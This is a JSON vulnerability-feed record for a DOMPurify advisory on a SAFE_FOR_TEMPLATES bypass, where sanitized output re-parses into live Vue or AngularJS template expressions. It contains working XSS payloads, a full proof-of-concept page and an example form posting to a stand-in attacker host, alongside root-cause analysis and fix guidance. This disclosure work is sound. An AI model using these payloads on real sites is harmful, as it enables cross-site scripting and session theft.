{"id":"GHSA-qm7q-q8h9-jg8q","kind":"vulnerability","aliases":["GHSA-qm7q-q8h9-jg8q"],"related":[],"title":"SAFE_FOR_TEMPLATES bypass: template expressions reassemble when sanitized output is reparsed (nested <form> and orphaned end tags)","description":"### Summary\r\n\r\nWith `SAFE_FOR_TEMPLATES: true`, DOMPurify 3.4.17 returns strings that contain no `{{` or `}}`, but which turn into a live `{{…}}` expression as soon as the string is assigned to `innerHTML`. A template engine that then compiles that DOM (verified with Vue 3 in-DOM templates and AngularJS 1.8.3) evaluates the attacker's expression, giving arbitrary JavaScript execution.\r\n\r\nThe attacker controls only the markup passed to `sanitize()`. The only configuration required is `SAFE_FOR_TEMPLATES: true`, which is a protective option, and the application uses it for its documented purpose. There are two independent variants.\r\n\r\nBoth variants reproduce on Chromium 156, Firefox 157 and WebKit 27.2. The plain `{{…}}` case and the \"expression split by a removed element\" case are still correctly scrubbed, so this is a gap in the existing protection, not a missing feature.\r\n\r\n### Details\r\n\r\n`SAFE_FOR_TEMPLATES` scrubbing happens in two places, and neither accounts for how the returned string is parsed a second time by the consumer.\r\n\r\n1. Per text node, during the walk (`src/purify.ts`, around line 2396):\r\n\r\n   ```ts\r\n   if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {\r\n     const content = _stripTemplateExpressions(currentNode.textContent);\r\n     ...\r\n   ```\r\n\r\n2. On the final serialized string (`src/purify.ts`, around line 3273):\r\n\r\n   ```ts\r\n   if (SAFE_FOR_TEMPLATES) {\r\n     serializedHTML = _stripTemplateExpressions(serializedHTML);\r\n   }\r\n   ```\r\n\r\nBoth use the expressions in `src/regexp.ts`, e.g. `MUSTACHE_EXPR = /{{[\\w\\W]*|^[\\w\\W]*}}/g`.\r\n\r\n### Variant 1: nested `<form>` collapses on reparse\r\n\r\nInput:\r\n\r\n```html\r\n<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}\r\n```\r\n\r\nOn the first parse, `</form>` clears the parser's form element pointer while the `<div>` is still open, so the second `<form>` is accepted as a child of the `<div>`. The DOM has three separate text nodes: `{`, `{…}` and `}`. None of them contains `{{` or `}}`, so the per-node scrub does nothing.\r\n\r\nSerialized output:\r\n\r\n```html\r\n<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>\r\n```\r\n\r\nThe string has no `{{` or `}}` either (a `<form>` tag sits between the braces), so the final string scrub also passes.\r\n\r\nWhen the consumer assigns this to `innerHTML`, the HTML parser ignores the inner `<form>` start tag because a form is already open. The three text fragments become adjacent and merge into one text node:\r\n\r\n```\r\n{{constructor.constructor('alert(1)')()}}\r\n```\r\n\r\n### Variant 2: the final string scrub cuts through markup\r\n\r\nInput:\r\n\r\n```html\r\n<b><i>}<x></x>}{</i>{constructor.constructor('alert(1)')()}</b>}\r\n```\r\n\r\nAfter the disallowed `<x>` is removed, the serialized string is `<b><i>}}{</i>{…}</b>}`. The `^[\\w\\W]*}}` branch of `MUSTACHE_EXPR` then deletes everything from the start of the string through `}}`, which removes the `<b><i>` start tags but leaves their end tags.\r\n\r\nOutput:\r\n\r\n```html\r\n {</i>{constructor.constructor('alert(1)')()}</b>}\r\n```\r\n\r\nOn reparse the orphaned `</i>` and `</b>` are dropped, and the text merges into ` {{constructor.constructor('alert(1)')()}}`.\r\n\r\nThe same regex-over-markup behaviour can also cut closing tags from the end of the output (the `{{[\\w\\W]*` branch). For example `<form action=\"https://evil.example/collect\"><input name=q>{<x></x>{</form><p>after</p>` returns `<form action=\"https://evil.example/collect\"><input name=\"q\"> ` with no `</form>`.\r\n\r\n### Root cause and suggested direction\r\n\r\nThe scrub treats \"no expression in any text node\" and \"no expression in the serialized string\" as sufficient, but the guarantee users need is \"no expression in any text node after the output is parsed again\". Possible fixes:\r\n\r\n- After serialization, reparse the output and re-run the text-node scrub until the result is stable, or scrub on a reparsed copy before returning.\r\n- Do not run the template regexes over serialized markup; apply them only to text nodes and attribute values, so tags are never sliced.\r\n- Treat lone `{` / `}` at text-node boundaries as unsafe when the adjacent sibling's text starts or ends with a brace.\r\n\r\n### Proof of concept\r\n\r\nTested with DOMPurify 3.4.17 (npm `latest`), Vue 3.5.45 and AngularJS 1.8.3 on Chromium 156, Firefox 157 and WebKit 27.2.\r\n\r\nConfiguration: `{ SAFE_FOR_TEMPLATES: true }`, nothing else.\r\n\r\nSave as `poc.html` and open it in a browser. Use `poc.html?v=2` for the second variant.\r\n\r\n```html\r\n<!doctype html>\r\n<meta charset=\"utf-8\">\r\n<script src=\"https://unpkg.com/dompurify@3.4.17/dist/purify.js\"></script>\r\n<script src=\"https://unpkg.com/vue@3.5.45/dist/vue.global.prod.js\"></script>\r\n<script src=\"https://unpkg.com/angular@1.8.3/angular.min.js\"></script>\r\n<div id=\"vue-host\"><div class=\"comment\"></div></div>\r\n<div id=\"ng-host\"><div class=\"comment\"></div></div>\r\n<pre id=\"log\"></pre>\r\n<script>\r\n  const log = (m) => (document.getElementById('log').textContent += m + '\\n');\r\n  window.xss = (tag) => log('EXECUTED: ' + tag);\r\n  const cfg = { SAFE_FOR_TEMPLATES: true };\r\n\r\n  // 1 = nested form, 2 = orphaned end tags\r\n  const variant = new URLSearchParams(location.search).get('v') === '2' ? 2 : 1;\r\n  const wrap = (expr) => variant === 1\r\n    ? `<form><div>{</form><form>{${expr}}</form>}`\r\n    : `<b><i>}<x></x>}{</i>{${expr}}</b>}`;\r\n\r\n  // Vue 3 (in-DOM template)\r\n  const cleanVue = DOMPurify.sanitize(wrap(`$emit.constructor('xss(\"vue\")')()`), cfg);\r\n  log('vue clean: ' + cleanVue);\r\n  document.querySelector('#vue-host .comment').innerHTML = cleanVue;\r\n  Vue.createApp({}).mount('#vue-host');\r\n\r\n  // AngularJS 1.8.3\r\n  const cleanNg = DOMPurify.sanitize(wrap(`constructor.constructor('xss(\"ng\")')()`), cfg);\r\n  log('ng clean : ' + cleanNg);\r\n  document.querySelector('#ng-host .comment').innerHTML = cleanNg;\r\n  angular.bootstrap(document.getElementById('ng-host'), []);\r\n</script>\r\n```\r\n\r\nExpected: the sanitized strings contain no live expression and nothing executes.\r\n\r\nActual (variant 1):\r\n\r\n```\r\nvue clean: <form><div>{<form>{$emit.constructor('xss(\"vue\")')()}</form>}</div></form>\r\nEXECUTED: vue\r\nng clean : <form><div>{<form>{constructor.constructor('xss(\"ng\")')()}</form>}</div></form>\r\nEXECUTED: ng\r\n```\r\n\r\nActual (variant 2):\r\n\r\n```\r\nvue clean:  {</i>{$emit.constructor('xss(\"vue\")')()}</b>}\r\nEXECUTED: vue\r\nng clean :  {</i>{constructor.constructor('xss(\"ng\")')()}</b>}\r\nEXECUTED: ng\r\n```\r\n\r\nControls that are still scrubbed correctly with the same config:\r\n\r\n- `<p>{{constructor.constructor('alert(1)')()}}</p>` returns `<p> </p>`\r\n- `<div>{<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>}</div>` returns ` </div>`\r\n\r\nServer-side: with DOMPurify 3.4.17 on jsdom 27.0.1, both payloads return the same strings, and parsing those strings yields a single text node containing `{{constructor.constructor('alert(1)')()}}`.\r\n\r\n### Impact\r\n\r\nCross-site scripting through client-side template injection.\r\n\r\nAffected: applications that sanitize untrusted HTML with `SAFE_FOR_TEMPLATES: true`, place the result in the DOM through an HTML sink such as `innerHTML`, and then have a template engine compile that DOM. Verified with Vue 3 in-DOM templates and AngularJS 1.x; other mustache-style engines that compile existing DOM are likely affected in the same way.\r\n\r\nAn attacker who can submit markup (a comment, a profile field, a rich-text message) gets arbitrary JavaScript execution in the origin of the page for every user who views it, with the usual consequences: session theft, actions on behalf of the victim, and content manipulation.","summary":"With SAFE_FOR_TEMPLATES enabled, DOMPurify can return markup that contains no template braces but turns into a live {{...}} expression when assigned to innerHTML. A template engine that then compiles that DOM, such as Vue 3 in-DOM templates or AngularJS 1.x, runs the attacker's JavaScript.","severity":"medium","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"dompurify","fixed":["3.4.18"],"affected":"< 3.4.18","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["angularjs","browser","cwe-1336","cwe-79","dompurify","javascript","package","vue"],"not_affected_if":["no-innerhtml-sink","no-template-engine","safe-for-templates-off"],"how_to_check":"- Check the installed version with `npm ls dompurify` and look for any version below `3.4.18`.\n- Search the codebase for `SAFE_FOR_TEMPLATES` and confirm whether it is set to `true`.\n- Check whether sanitized output is placed into the DOM with `innerHTML` and then compiled by Vue 3 in-DOM templates or AngularJS.","fix":"- `dompurify` `3.4.18` (fixed version; affected below `3.4.18`)","status":"open","published_at":"2026-11-14T15:08:05+00:00","first_seen_at":"2026-11-14T15:13:28+00:00","triaged_at":"2026-11-14T15:14:25+00:00","updated_at":"2026-11-14T15:14:25+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-14T15:14:25Z","model":"claude-haiku-5-5","output":{"fix":"- `dompurify` `3.4.18` (fixed version; affected below `3.4.18`)","reach":"internet","title":"DOMPurify: SAFE_FOR_TEMPLATES output reassembles into template expressions after reparse","impact":"high","summary":"With SAFE_FOR_TEMPLATES enabled, DOMPurify can return markup that contains no template braces but turns into a live {{...}} expression when assigned to innerHTML. A template engine that then compiles that DOM, such as Vue 3 in-DOM templates or AngularJS 1.x, runs the attacker's JavaScript.","audience":"developers","category":"package","nicknames":[],"who_cares":["dompurify","vue","angularjs","javascript","browser"],"confidence":0.85,"fix_status":"available","needs_auth":"no","worst_case":"attacker runs JavaScript in victims' page origin, stealing sessions","analyst_note":"","how_to_check":"- Check the installed version with `npm ls dompurify` and look for any version below `3.4.18`.\n- Search the codebase for `SAFE_FOR_TEMPLATES` and confirm whether it is set to `true`.\n- Check whether sanitized output is placed into the DOM with `innerHTML` and then compiled by Vue 3 in-DOM templates or AngularJS.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["safe-for-templates-off","no-template-engine","no-innerhtml-sink"],"who_is_affected":"Applications that sanitize untrusted HTML with SAFE_FOR_TEMPLATES set to true, insert the result into the page through innerHTML, and then have a template engine such as Vue 3 in-DOM templates or AngularJS compile that DOM. The attacker needs only to submit markup such as a comment or profile field. Applications that do not use SAFE_FOR_TEMPLATES or do not compile sanitized output with a template engine are not exposed by this path.","user_interaction":"yes","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"medium"},"cost_usd":0.001126,"input_tokens":7678,"output_tokens":717,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-1336':32B '-79':34B '/g':301C '1':81B,248C,303C,312C,365C,420C,434C,475C,490C '1.8.3':136C '156':188C '157':190C '2':270C,422C '2396':258C '27.2':193C '3':74B,129C '3.4.17':95C '3273':279C 'accept':333C 'account':234C 'adjac':411C 'alert':311C,364C,419C,433C,474C,489C 'alreadi':404C 'also':383C,499C 'angularj':29B,80B,135C 'appli':598C 'applic':171C 'arbitrari':143C 'around':256C,277C 'assign':60B,115C,388C 'attack':85B,139C,147C 'becom':410C 'behaviour':497C 'brace':52B,377C 'branch':447C,512C 'browser':30B 'bypass':4A 'case':196C,205C 'caus':520C 'child':336C 'chromium':187C 'clear':317C 'close':501C 'collaps':305C 'compil':68B,123C 'configur':157C 'const':266C 'constructor.constructor':310C,363C,418C,432C,473C,488C 'consum':247C,387C 'contain':49B,99C,350C 'content':267C 'control':148C 'copi':586C 'correct':208C 'currentnode.nodetype':264C 'currentnode.textcontent':269C 'cut':427C,500C 'cwe':31B,33B 'delet':452C 'detail':223C 'direct':523C 'disallow':437C 'document':176C 'dom':70B,77B,125C,132C,340C 'dompurifi':35B,44B,94C 'dompurify':28A 'drop':482C 'e.g':294C 'either':371C 'element':204C,322C 'enabl':43B 'end':16A,469C,505C 'engin':65B,120C 'evalu':137C 'everyth':453C 'exampl':514C 'execut':145C 'exist':217C 'expr':296C,450C 'express':6A,58B,108C,141C,199C,291C,528C,535C,549C 'featur':222C 'final':273C,380C,424C 'firefox':189C 'first':315C 'fix':561C 'form':321C,402C 'fragment':409C 'gap':214C 'ghsa':19A,24A 'ghsa-qm7q-q8h9-jg8q':18A,23A 'give':142C 'guarante':544C 'happen':228C 'html':309C,362C,393C,431C,472C 'ignor':395C 'in-dom':75B,130C 'independ':181C 'inner':397C 'innerhtml':62B,117C,391C 'input':308C,430C 'javascript':36B,87B,144C 'jg8q':22A,27A 'leav':467C 'line':257C,278C 'live':57B,107C 'markup':47B,151C,429C,496C,597C 'merg':413C,486C 'miss':221C 'mustach':295C,449C 'need':546C 'neither':233C 'nest':13A,304C 'node':251C,345C,356C,417C,532C,553C,574C,603C 'node_type.text':265C 'none':347C 'noth':359C 'one':415C 'open':328C,405C 'option':168C 'orphan':15A,479C 'output':10A,361C,471C,508C,556C,566C 'packag':37B 'pars':241C,316C,558C 'parser':319C,394C 'pass':152C,384C 'per':249C,355C 'per-nod':354C 'place':231C 'plain':195C 'pointer':323C 'possibl':560C 'protect':167C,218C 'purpos':177C 'q8h9':21A,26A 'qm7q':20A,25A 're':569C 're-run':568C 'reassembl':7A 'regex':494C,594C 'regex-over-markup':493C 'remov':203C,439C,462C 'repars':12A,307C,477C,564C,585C 'reproduc':185C 'requir':158C 'result':578C 'return':46B,96C,238C,516C,588C 'root':519C 'run':83B,570C,591C 'safe':1A,40B,90C,160C,224C,261C,282C 'sanit':9A,154C 'scrub':209C,227C,357C,382C,426C,525C,575C,582C 'second':243C,331C 'separ':343C 'serial':274C,360C,441C,538C,563C,596C 'serializedhtml':285C,287C 'sit':374C 'soon':110C 'split':200C 'src/purify.ts':255C,276C 'src/regexp.ts':293C 'stabl':580C 'start':398C,456C,464C 'still':207C,327C 'string':97C,113C,239C,275C,367C,381C,425C,442C,459C,539C 'striptemplateexpress':268C,286C 'suffici':541C 'suggest':522C 'summari':88C 'tag':17A,373C,399C,465C,470C,502C 'templat':3A,5A,42B,51B,64B,78B,92C,119C,133C,162C,226C,263C,284C,593C 'text':250C,344C,408C,416C,485C,531C,552C,573C,602C 'text-nod':572C 'three':342C,407C 'time':244C 'treat':526C 'true':93C,163C 'ts':259C,280C 'turn':54B,104C 'two':180C,230C 'use':172C,289C 'user':545C 'variant':182C,184C,302C,421C 'verifi':126C 'vue':38B,73B,128C 'w':297C,298C,299C,300C,445C,446C,510C,511C 'walk':254C 'webkit':192C 'x':82B","nicknames":[],"mitigations":[],"who_affected":"Applications that sanitize untrusted HTML with SAFE_FOR_TEMPLATES set to true, insert the result into the page through innerHTML, and then have a template engine such as Vue 3 in-DOM templates or AngularJS compile that DOM. The attacker needs only to submit markup such as a comment or profile field. Applications that do not use SAFE_FOR_TEMPLATES or do not compile sanitized output with a template engine are not exposed by this path.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["dompurify"],"ptokens":["dompurify"],"labels":["angularjs","browser","cwe1336","cwe79","dompurify","javascript","medium","npm","package","vue"],"campaign_type":null,"search_a":"'bypass':4A 'dompurify':28A 'end':16A 'express':6A 'ghsa':19A,24A 'ghsa-qm7q-q8h9-jg8q':18A,23A 'jg8q':22A,27A 'nest':13A 'orphan':15A 'output':10A 'q8h9':21A,26A 'qm7q':20A,25A 'reassembl':7A 'repars':12A 'safe':1A 'sanit':9A 'tag':17A 'templat':3A,5A","search_b":"'-1336':32B '-79':34B '1':81B '3':74B 'angularj':29B,80B 'assign':60B 'attack':85B 'brace':52B 'browser':30B 'compil':68B 'contain':49B 'cwe':31B,33B 'dom':70B,77B 'dompurifi':35B,44B 'enabl':43B 'engin':65B 'express':58B 'in-dom':75B 'innerhtml':62B 'javascript':36B,87B 'live':57B 'markup':47B 'packag':37B 'return':46B 'run':83B 'safe':40B 'templat':42B,51B,64B,78B 'turn':54B 'vue':38B,73B 'x':82B","search_c":"'/g':301C '1':248C,303C,312C,365C,420C,434C,475C,490C '1.8.3':136C '156':188C '157':190C '2':270C,422C '2396':258C '27.2':193C '3':129C '3.4.17':95C '3273':279C 'accept':333C 'account':234C 'adjac':411C 'alert':311C,364C,419C,433C,474C,489C 'alreadi':404C 'also':383C,499C 'angularj':135C 'appli':598C 'applic':171C 'arbitrari':143C 'around':256C,277C 'assign':115C,388C 'attack':139C,147C 'becom':410C 'behaviour':497C 'brace':377C 'branch':447C,512C 'case':196C,205C 'caus':520C 'child':336C 'chromium':187C 'clear':317C 'close':501C 'collaps':305C 'compil':123C 'configur':157C 'const':266C 'constructor.constructor':310C,363C,418C,432C,473C,488C 'consum':247C,387C 'contain':99C,350C 'content':267C 'control':148C 'copi':586C 'correct':208C 'currentnode.nodetype':264C 'currentnode.textcontent':269C 'cut':427C,500C 'delet':452C 'detail':223C 'direct':523C 'disallow':437C 'document':176C 'dom':125C,132C,340C 'dompurifi':94C 'drop':482C 'e.g':294C 'either':371C 'element':204C,322C 'end':469C,505C 'engin':120C 'evalu':137C 'everyth':453C 'exampl':514C 'execut':145C 'exist':217C 'expr':296C,450C 'express':108C,141C,199C,291C,528C,535C,549C 'featur':222C 'final':273C,380C,424C 'firefox':189C 'first':315C 'fix':561C 'form':321C,402C 'fragment':409C 'gap':214C 'give':142C 'guarante':544C 'happen':228C 'html':309C,362C,393C,431C,472C 'ignor':395C 'in-dom':130C 'independ':181C 'inner':397C 'innerhtml':117C,391C 'input':308C,430C 'javascript':144C 'leav':467C 'line':257C,278C 'live':107C 'markup':151C,429C,496C,597C 'merg':413C,486C 'miss':221C 'mustach':295C,449C 'need':546C 'neither':233C 'nest':304C 'node':251C,345C,356C,417C,532C,553C,574C,603C 'node_type.text':265C 'none':347C 'noth':359C 'one':415C 'open':328C,405C 'option':168C 'orphan':479C 'output':361C,471C,508C,556C,566C 'pars':241C,316C,558C 'parser':319C,394C 'pass':152C,384C 'per':249C,355C 'per-nod':354C 'place':231C 'plain':195C 'pointer':323C 'possibl':560C 'protect':167C,218C 'purpos':177C 're':569C 're-run':568C 'regex':494C,594C 'regex-over-markup':493C 'remov':203C,439C,462C 'repars':307C,477C,564C,585C 'reproduc':185C 'requir':158C 'result':578C 'return':96C,238C,516C,588C 'root':519C 'run':570C,591C 'safe':90C,160C,224C,261C,282C 'sanit':154C 'scrub':209C,227C,357C,382C,426C,525C,575C,582C 'second':243C,331C 'separ':343C 'serial':274C,360C,441C,538C,563C,596C 'serializedhtml':285C,287C 'sit':374C 'soon':110C 'split':200C 'src/purify.ts':255C,276C 'src/regexp.ts':293C 'stabl':580C 'start':398C,456C,464C 'still':207C,327C 'string':97C,113C,239C,275C,367C,381C,425C,442C,459C,539C 'striptemplateexpress':268C,286C 'suffici':541C 'suggest':522C 'summari':88C 'tag':373C,399C,465C,470C,502C 'templat':92C,119C,133C,162C,226C,263C,284C,593C 'text':250C,344C,408C,416C,485C,531C,552C,573C,602C 'text-nod':572C 'three':342C,407C 'time':244C 'treat':526C 'true':93C,163C 'ts':259C,280C 'turn':104C 'two':180C,230C 'use':172C,289C 'user':545C 'variant':182C,184C,302C,421C 'verifi':126C 'vue':128C 'w':297C,298C,299C,300C,445C,446C,510C,511C 'walk':254C 'webkit':192C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-11-14T15:08:05+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa-repo","external_id":"GHSA-qm7q-q8h9-jg8q","url":"https://github.com/cure53/DOMPurify/security/advisories/GHSA-qm7q-q8h9-jg8q","severity":"medium","published_at":"2026-11-14T15:08:05+00:00","modified_at":"2026-11-14T15:08:05+00:00","first_seen_at":"2026-11-14T15:13:28+00:00","fetched_at":"2026-11-14T15:58:53+00:00","note":null}],"documents":[{"id":156401,"url":"https://github.com/cure53/DOMPurify/security/advisories/GHSA-qm7q-q8h9-jg8q","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa-repo","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}